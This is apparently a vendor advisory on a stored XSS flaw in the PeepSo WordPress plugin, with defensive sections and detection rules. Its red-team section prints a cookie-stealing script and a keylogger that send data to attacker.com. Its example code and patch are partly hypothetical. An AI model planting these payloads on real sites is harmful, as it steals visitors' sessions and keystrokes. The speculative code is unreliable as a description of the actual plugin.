CVE-2024-7618

Executive Summary

CVE-2024-7618 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Community by PeepSo WordPress plugin, versions up to and including 6.4.5.0. The flaw resides in insufficient sanitization of the content parameter, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute when any user visits the affected page. The vulnerability is limited to multi-site WordPress installations or environments where the unfiltered_html capability has been disabled for administrators. Despite a low EPSS score (0.0%), the risk is elevated in shared hosting or multi-tenant WordPress setups where admin-level access is granted to non-trusted users.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Administrator)
• User Interaction: Required (Victim visits injected page)
• Scope: Changed (Impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires admin-level access, but in multi-site environments, this can be a common privilege. The stored nature of the XSS means a single injection can affect many users.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS in the WordPress plugin ecosystem. The content parameter, likely used in user-generated content (e.g., posts, comments, or profile updates), is not properly sanitized before being stored in the database and later rendered on pages. The plugin fails to apply WordPress’s built-in wp_kses() or similar escaping functions, allowing attackers to inject HTML and JavaScript.

Key Conditions:

• Multi-site installations: In WordPress multisite, administrators of individual sites may not have unfiltered_html capability, making them vulnerable to this XSS.
• Disabled unfiltered_html: Even in single-site installations, if the unfiltered_html filter is removed (e.g., via security plugins or custom code), admin-level users become susceptible.

Attack Flow:

1. Attacker with admin-level access crafts a payload (e.g., <script>alert('XSS')</script>) in the content field.
2. The payload is stored in the database without proper escaping.
3. When any user (including lower-privileged users or visitors) views the page containing the content, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (PeepSo <= 6.4.5.0):

// Example of insufficient sanitization
$content = $_POST['content'];
// Directly stored without sanitization
update_post_meta($post_id, 'peepso_content', $content);

Patched Code (Hypothetical fix):

// Proper sanitization using WordPress functions
$content = wp_kses_post($_POST['content']);
update_post_meta($post_id, 'peepso_content', $content);

The patch would involve applying wp_kses_post() or esc_html() to the content parameter before storage, and ensuring output is escaped with esc_attr() or esc_html() when rendered.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress multisite installation with PeepSo <= 6.4.5.0.
• Admin-level account on a subsite (where unfiltered_html is disabled).

Steps:

1. Log in as an admin on the target subsite.
2. Navigate to a PeepSo content creation page (e.g., new post, profile update).
3. Inject the following payload into the content field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Submit the content.
5. When any user views the page, the script executes, exfiltrating cookies.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for admin-level content submissions containing <script> tags or event handlers.
2. Review PeepSo database entries for suspicious HTML/JavaScript.
3. Check WordPress logs for unusual admin activity on subsites.

Response:

• Immediately revoke admin privileges on affected subsites.
• Remove malicious content from the database.
• Apply input sanitization (if patch not available) by adding a custom filter:

  add_filter('peepso_content_save', 'wp_kses_post');
  

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound connections to unknown domains from WordPress admin pages.
  • HTTP requests containing document.cookie or fetch in the body.

• Host IOCs:

  • Database entries in wp_postmeta or peepso_* tables containing <script> tags.
  • Unusual admin-level content submissions with HTML/JavaScript.

• File IOCs:

  • Modified PeepSo plugin files (if attacker uploads malicious code).

Detection Engineering

YARA Rule

rule CVE_2024_7618_PeepSo_XSS {
    meta:
        description = "Detects PeepSo Stored XSS payloads in WordPress content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-7618"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $event_handler = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        any of them
}

Sigma Rule

title: PeepSo Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential Stored XSS in PeepSo plugin content submissions
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000  # Custom event for content submission
        Plugin: "peepso"
        Content|contains: 
            - "<script"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-7618 PeepSo Stored XSS Payload"; flow:to_server; content:"POST"; http_method; content:"peepso"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable PeepSo plugin on multi-site installations until a patch is applied.
2. Restrict admin privileges to only trusted users on subsites.
3. Enable unfiltered_html for admin users (if safe to do so) to bypass the vulnerability.

Long-term Fix:

• Apply the vendor patch when released (currently UNKNOWN).
• Implement a custom filter to sanitize PeepSo content:

  add_filter('peepso_content_save', function($content) {
      return wp_kses_post($content);
  });
  

Workarounds:

• Use a Web Application Firewall (WAF) to block <script> tags in POST requests.
• Monitor for suspicious admin activity with a security plugin (e.g., Wordfence).

Valters IT
Securing Digital Frontiers